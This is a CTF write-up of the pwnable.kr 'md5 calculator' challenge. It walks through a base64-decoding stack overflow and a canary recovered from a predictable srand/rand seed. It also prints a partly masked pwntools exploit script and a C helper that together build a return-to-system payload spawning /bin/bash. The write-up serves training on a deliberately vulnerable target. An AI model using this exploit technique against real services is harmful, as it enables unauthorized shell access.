December 02, 2017

pwnable.kr md5 calculator write-up

pwnable.kr md5 calculator write-up

We made a simple MD5 calculator as a network service.
Find a bug and exploit it to get a shell.




memory protection of pwnable md5 calculator

Important memory protection techniques are Canary(Learn more) and NX(Learn more). Canary value should be considered to perform buffer overflow attack, and the function used in program  should be used because there is no execution permission in memory,




execution of pwnable md5 calculator

This is the execution result. When I input the captcha value, the program promptes to input a value encoded in Base64, and the inputted value will result in encrypted MD5 value.




main function of pwnable md5 calculator

This is the main function. The my_hash() function creates a captcha value, and process_hash() creates an MD5 value.




hash function of pwnable md5 calculator

The my_hash() is a function that creates a captcha(=return result) value. The v4 is used as a variable to store Canary value, and is also used to create captcha value.

The quiz hint says that the md5 server and the web server are the same. So The values of srand(0) and rand() on the server should be used.

That is, Canary values can be calculated.




process hash function of pwnable md5 calculator

The process_hash() function decodes the input value(=g_buf) into Base64 and stores it in v3(Learn more).

g_buf is 1024Bytes and v3 is 512Bytes. The Base64Decode() function stores the decoded g_buf value in v3. Eventually buffer overflow occurs in the process_hash () function due to the size difference.

This can be used to acquire Linux shell by changing the RET value of the memory structure(Learn more1)(Learn more2).

※ The difference memset and malloc(Link).

And here is the exploit code that uses this vulnerability below.


<md5.py>
from pwn import *

pHash = remote("127.0.0.1", 9002)
pHash.recvuntil(": ")
theCaptcha = ■■■■■■■■■
pHash■■■■■■■■■■

pRand = process(["./mRand", theCaptcha])
theCanary = pRand.recvline()
theCanary = ■■■■■■■■■■
print "[Captcha] : " + theCaptcha
print "[Canary] : " + str(theCanary)

theCanary = struct.pack("<I",theCanary)
theSystem = struct.pack("<I", int("08048880", 16))
theExit = struct.pack("<I", int("8048a00", 16))
theArg = struct.pack("<I", int("804b0e0", 16)+720)

myPayload = "A"*512 + theCanary + "A"*12 + theSystem + "A"*4 + 

pHash.sendline(b64e(myPayload)+"/bin/bash")
pHash.interactive()
* Some codes are masked.

The mRand subprocess provides a Canary value. If you do not strip () this value, your session will be disconnected because the Canary includes a newline character.

The system() function has a feature that takes an argument from a distance of +4Bytes away.

I stored the value of g_buf address + 720 into the theArg. Since the base64 encoded payload becomes larger in size(540Bytes → 720Bytes), the parameter value is stored starting from g_buf + 720.

I did not encode "/bin/bash" with Base64. The data will be corrupted when decoded and stored in v3, but it doesn't matter. Instead, use the pure value in g_buf. As in the test below, g_buf stores pretty ASCII string with hex format.

ASCII in memroy of pwnable md5 calculator


<mRand.c>
#include <stdio.h>
#include <stdlib.h>

int main(int argc, char* argv[]){
        int canary;
        int captcha = atoi(argv[1]);
        
        int calRst = 0;
        int randLst[8] = {0,};
        srand(time(0));
        for (int i = 0; i <= 7; ++i ) {
                randLst[i] = rand();
        }
        calRst = randLst[1] + randLst[2] - randLst[3] + randLst[4] + randLst[5] - randLst[6] + randLst[7];
        canary = captcha - calRst;
        printf("%x\n", canary);
        return 0;
}

Since the return value of the rand() is changed every run time due to the srand(time0), the Canary value can't be predicted in advance.

If you print the Canary value in hexadecimal as above, it is easy to handle minus values in Python code because it is expressed as a two's complement value. If you use decimal format, the minus value must be calculated additionally in Python. This calculation is not possible with the hex() function(Learn more).




obtaining flag of pwnable md5 calculator

The flag obtained successfully.